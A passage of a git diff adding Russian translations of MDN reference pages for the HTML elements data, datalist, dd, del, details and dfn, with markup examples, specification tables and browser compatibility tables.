+   <li>the {{cssxref("width")}} property to control the width of the column;</li>
+   <li>the {{cssxref(":nth-child")}} pseudo-class to set the alignment on the cells of the column;</li>
+   <li>the {{cssxref("text-align")}} property to align all cells content on the same character, like '.'.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/element/data/index.html b/files/ru/web/html/element/data/index.html
new file mode 100644
index 0000000000..776121917f
--- /dev/null
+++ b/files/ru/web/html/element/data/index.html
@@ -0,0 +1,101 @@
+---
+title: <data>
+slug: Web/HTML/Element/data
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+  - Веб
+  - Элемент
+translation_of: Web/HTML/Element/data
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;data&gt;</code></strong> связывает данное содержимое с машиночитаемым представлением.</span> Если содержимое относится к времени или дате, необходимо использовать элемент {{HTMLElement("time")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/data.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любой элемент который принимает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLDataElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Этот атрибут определяет машиночитаемый перевод содержимого элемента.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий пример отображает названия продуктов, а также связывает каждое имя с номером продукта.</p>
+
+<pre class="brush: html">&lt;p&gt;New Products&lt;/p&gt;
+&lt;ul&gt;
+ &lt;li&gt;&lt;data value="398"&gt;Mini Ketchup&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="399"&gt;Jumbo Ketchup&lt;/data&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;data value="400"&gt;Mega Jumbo Ketchup&lt;/data&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.data")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML-элемент {{HTMLElement("time")}}.</li>
+</ul>
diff --git a/files/ru/web/html/element/datalist/index.html b/files/ru/web/html/element/datalist/index.html
new file mode 100644
index 0000000000..1479b7bcf6
--- /dev/null
+++ b/files/ru/web/html/element/datalist/index.html
@@ -0,0 +1,113 @@
+---
+title: <datalist>
+slug: Web/HTML/Element/datalist
+tags:
+  - Element
+  - HTML
+  - HTML формы
+  - HTML5
+  - Reference
+  - Web
+  - Веб
+  - Элемент
+translation_of: Web/HTML/Element/datalist
+---
+<p><strong>HTML-элемент<code> &lt;datalist&gt;</code></strong> содержит набор опций ({{HTMLElement("option")}}), доступных для выбора. Выбранное значение будет установлено для элемента {{HTMLElement("input")}}, с атрибутом {{htmlattrxref("list", "input")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/datalist.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категория контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td>Либо фразовый контент, либо ноль или более элементов {{HTMLElement("option")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любой элемент, который может содержать <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLDataListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>С данным элементом можно использовать все <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;label for="myBrowser"&gt;Choose a browser from this list:&lt;/label&gt;
+&lt;input list="browsers" id="myBrowser" name="myBrowser" /&gt;
+&lt;datalist id="browsers"&gt;
+  &lt;option value="Chrome"&gt;
+  &lt;option value="Firefox"&gt;
+  &lt;option value="Internet Explorer"&gt;
+  &lt;option value="Opera"&gt;
+  &lt;option value="Safari"&gt;
+  &lt;option value="Microsoft Edge"&gt;
+&lt;/datalist&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Примеры")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.datalist")}}</p>
+
+<h2 id="Полифил">Полифил</h2>
+
+<p>Для использованиях в браузерах, которые не поддерживают данную технологию, рекомендуется использовать полифилл: <a href="https://github.com/mfranzke/datalist-polyfill">datalist-polyfill</a>.</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li class="last">Элемент {{HTMLElement("input")}} , в особенности его атрибут {{htmlattrxref("list", "input")}};</li>
+ <li class="last">Элемент {{HTMLElement("option")}}.</li>
+</ul>
+
+<p class="last">{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/dd/index.html b/files/ru/web/html/element/dd/index.html
new file mode 100644
index 0000000000..19f937c1c3
--- /dev/null
+++ b/files/ru/web/html/element/dd/index.html
@@ -0,0 +1,111 @@
+---
+title: '<dd>: Элемент описания определения'
+slug: Web/HTML/Element/dd
+tags:
+  - Description Details
+  - Element
+  - HTML
+  - Reference
+  - Web
+  - dd
+  - Веб
+  - Список определений
+  - Элемент
+  - списки
+translation_of: Web/HTML/Element/dd
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;dd&gt;</code></strong> (<em>от англ. Description Details</em>) предоставляет подробности или определение предшествующего термина ({{HTMLElement("dt")}}) в списке определений ({{HTMLElement("dl")}}).</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dd.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Открывающий тег обязателен. Конечный тег может быть опущен, если за элементом {{HTMLElement("dd")}} непосредственно следует элемент <code>&lt;dd&gt;</code> или {{HTMLElement("dt")}}, или если в родительском элементе нет больше содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>{{HTMLElement("dl")}} или (в <a href="/ru/docs/Glossary/WHATWG">WHATWG</a> HTML) {{HTMLElement("div")}} который внутри элемента {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Предыдущий элемент</th>
+   <td>{{HTMLElement("dt")}} или другой {{HTMLElement("dd")}} элемент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("nowrap")}} {{Non-standard_inline}}</dt>
+ <dd>Если значение атрибута установлено <code>yes</code>, текст определения не будет переноситься. Значение по умолчанию <code>no</code>.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Для примера смотрите <a href="/ru/docs/HTML/Element/dl#examples">образец для &lt;dl&gt; элемента</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.dd")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{HTMLELement("dl")}}</li>
+ <li>{{HTMLElement("dt")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/del/index.html b/files/ru/web/html/element/del/index.html
new file mode 100644
index 0000000000..ea09f3bddc
--- /dev/null
+++ b/files/ru/web/html/element/del/index.html
@@ -0,0 +1,143 @@
+---
+title: '<del>: The Deleted Text element'
+slug: Web/HTML/Element/del
+tags:
+  - доступность
+translation_of: Web/HTML/Element/del
+---
+<p><span class="seoSummary">Элемент <strong>HTML <code>&lt;del&gt;</code> </strong>представляет диапазон текста, который был удален из документа. </span>Он может быть использован, например, при отображении "отслеживания изменений" или различий в исходном коде. Элемент {{HTMLElement("ins")}} можно использовать для противоположной цели: указание текста, который был добавлен в документ.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Этот элемент часто (но не обязательно) отображается с помощью применения зачеркнутого стиля к тексту.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Фразовый контент</a> или <a href="/en-US/docs/HTML/Content_categories#Flow_content">потоковый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Transparent_content_model">Прозрачный</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые родители</th>
+   <td>Любой элемент, который принимает <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимые ARIA роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLModElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Атрибуты этого элемента включают <a href="/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>URI для ресурса, который объясняет изменение (fнапример, протоколы соединений).</dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>Этот атрибут устанавливает время и дату изменение и должен представлять собой строку с допустимой датой и временем (время не является обязательным параметром - параметр опционален). Если значение не может быть проанализировано как дата с опциональм временем, элемент не будет иметь соответствующей временной отметки. Формат строки без времени смотри в {{SectionOnPage("/en-US/docs/Web/HTML/Date_and_time_formats", "Format of a valid date string")}}. Формат строки с датой и временем описан в {{SectionOnPage("/en-US/docs/Web/HTML/Date_and_time_formats", "Format of a valid local date and time string")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;p&gt;&lt;del&gt;This text has been deleted&lt;/del&gt;,
+here is the rest of the paragraph.&lt;/p&gt;
+&lt;del&gt;&lt;p&gt;This paragraph has been deleted.&lt;/p&gt;&lt;/del&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p><del>This text has been deleted</del>, here is the rest of the paragraph.</p>
+
+<p><del>This paragraph has been deleted.</del></p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Присутствие элемента <code>del</code> не определено в конфигурации по умолчанию большинством технологий чтения с экрана. Его можно задать, используя свойство  CSS {{cssxref("content")}},  а также {{cssxref("::before")}} и с помощью псевдоэлемента {{cssxref("::after")}}.</p>
+
+<pre>del::before,
+del::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+del::before {
+  content: " [deletion start] ";
+}
+
+del::after {
+  content: " [deletion end] ";
+}
+</pre>
+
+<p>Некоторые люди, использующие программы чтения с экрана, сознательно отключают определение контента, что создает дополнительную многословность. Поэтому важно не злоупотреблять этой техникой, применяя ее только в ситуациях, когда незнание контента, который был удален, может негативно повлиять на восприятие.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Короткая заметка о создании своих меток (больше доступности) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Тонкая настройка стилей уровня текста | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("html.elements.del")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("ins")}} элемент для вставки в текст</li>
+ <li>
+  <p>{{HTMLElement("s")}} элемент для зачеркивания, отдельный от представления удаленного текста</p>
+ </li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/details/index.html b/files/ru/web/html/element/details/index.html
new file mode 100644
index 0000000000..59a325fa0e
--- /dev/null
+++ b/files/ru/web/html/element/details/index.html
@@ -0,0 +1,203 @@
+---
+title: <details>
+slug: Web/HTML/Element/details
+tags:
+  - Element
+  - HTML
+  - HTML interactive elements
+  - Reference
+  - Web
+  - details
+translation_of: Web/HTML/Element/details
+---
+<div>{{HTMLRef}}</div>
+
+<p>HTML-элемент<strong> <code>&lt;details&gt;</code></strong> используется для раскрытия скрытой (дополнительной) информации.</p>
+
+<p>Виджет раскрытия обычно представлен на экране с использованием небольшого треугольника, который поворачивается, чтобы показать состояние открытия / закрытия, с меткой рядом с треугольником. Если первый дочерний элемент элемента <code>&lt;details&gt; </code>является <code>&lt;summary&gt;</code>, содержимое элемента <code>&lt;summary&gt;</code> используется в качестве метки для виджета раскрытия.</p>
+
+<p>{{EmbedInteractiveExample("pages/tabbed/details.html", "tabbed-standard")}}</p>
+
+<p> </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, sectioning root, interactive content, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>One {{HTMLElement("summary")}} element followed by <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLDetailsElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Элемент поддерживает только <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>Данный логический атрибут указывает, будет ли дополнительная информация отображаться пользователю при загрузке страницы. По умолчанию установлено значение false, поэтому дополнительная информация будет скрыта.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;Some details&lt;/summary&gt;
+  &lt;p&gt;More info about the details.&lt;/p&gt;
+&lt;/details&gt;
+
+&lt;details open&gt;
+  &lt;summary&gt;Even more details&lt;/summary&gt;
+  &lt;p&gt;Here are even more details about the details.&lt;/p&gt;
+&lt;/details&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>Если приведенный выше пример не работает, см. {{anch("Browser compatibility")}} , чтобы определить поддерживает ли вообще ваш браузер эту функцию. </p>
+</div>
+
+<h2 id="Примеры_стилизации">Примеры стилизации</h2>
+
+<p>Следуя более новой спецификации, Firefox отображает элемент summary как <code>display: list-item</code>  и маркер можно стилизовать так же, как и элементы списка.</p>
+
+<p>Следуя более старой спецификации, в Chrome and Safari существует пользовательский псевдо-элемент <code>::-webkit-details-marker</code>, с помощью которого можно стилизовать маркер. </p>
+
+<p>Для кроссбраузерной стилизации маркера, чтобы скрыть дефолтный и добавить кастомный, необходимо для Firefox установить элементу <code>summary {display: block;}, а для </code>Chrome и Safari's установить <code>::-webkit-details-marker {display: none;}</code>. После этого дефолтный маркер будет скрыт, после чего можно установить свой маркер любым доступным способом стилизации. В примере ниже с помощью псевдоэлементов маркер возвращается обратно.  </p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;Some details&lt;/summary&gt;
+  &lt;p&gt;More info about the details.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">summary {
+  display: block;
+}
+
+  summary::-webkit-details-marker {
+  display: none;
+}
+
+summary::before {
+  content: '\25B6';
+  padding-right: 0.5em;
+}
+
+details[open] &gt; summary::before {
+  content: '\25BC';
+}
+</pre>
+
+<h3 id="Result_2">Result</h3>
+
+<p>{{ EmbedLiveSample('Example_with_styling') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'semantics.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>12</td>
+   <td><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/detailssummary?filter=f3f0000bf&amp;search=details">In Development</a></td>
+   <td>{{CompatGeckoDesktop("49.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/detailssummary?filter=f3f0000bf&amp;search=details">In Development</a></td>
+   <td>{{CompatGeckoMobile("49.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("summary")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/dfn/index.html b/files/ru/web/html/element/dfn/index.html
new file mode 100644
index 0000000000..c34e105cbd
--- /dev/null
+++ b/files/ru/web/html/element/dfn/index.html
@@ -0,0 +1,209 @@
+---
+title: '<dfn>: Элемент определения'
+slug: Web/HTML/Element/dfn
+translation_of: Web/HTML/Element/dfn
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>Элемент определения HTML</strong> (<strong><dfn>&lt;dfn&gt;</dfn></strong>) используется для указания термина, определяемого в контексте фразы или предложения.</span> Элемент{{HTMLElement("p")}}, пара{{HTMLElement("dt")}}/{{HTMLElement("dd")}} или {{HTMLElement("section")}} элемент, который является ближайшим предком <code>&lt;dfn&gt;</code> считается определением термина.</p>
+
+<p> </p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dfn.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull-запрос.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории Контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но ни один {{HTMLElement("dfn")}} элемент не должен быть потомком.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Атрибуты этого элемента включают <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<p>В HTML5 {{htmlattrxref("title")}} атрибут имеет особое значение, как указано ниже.</p>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>Есть несколько не совсем очевидных аспектов использования элемента<code>&lt;dfn&gt;</code>. Мы рассмотрим их здесь.</p>
+
+<h3 id="Определяемый_термин">Определяемый термин</h3>
+
+<p>Определяемый термин устанавливается в соответствии с этими правилами:</p>
+
+<ol>
+ <li>Если <code>&lt;dfn&gt;</code> элемент имеет {{htmlattrxref("title")}} атрибут, значение атрибута <code>title</code> считается определяемым термином. Элемент должен по-прежнему иметь текст внутри него, но этот текст может быть аббревиатурой (возможно, с использованием{{HTMLElement("abbr")}}) или другой формой термина.</li>
+ <li>Если объект <code>&lt;dfn&gt;</code> содержит единственный дочерний элемент и не имеет собственного текстового содержимого, а дочерний элемент является {{HTMLElement("abbr")}} элементом с атрибутом <code>title</code>, то строго значение <code>title</code> <code>&lt;abbr&gt;</code> элемента является определяемым термином.</li>
+ <li>В противном случае текстовое содержимое <code>&lt;dfn&gt;</code> элемента является определяемым термином. Это показано {{anch("Базовая идентификация термина", "в примере ниже")}}.</li>
+</ol>
+
+<div class="note">
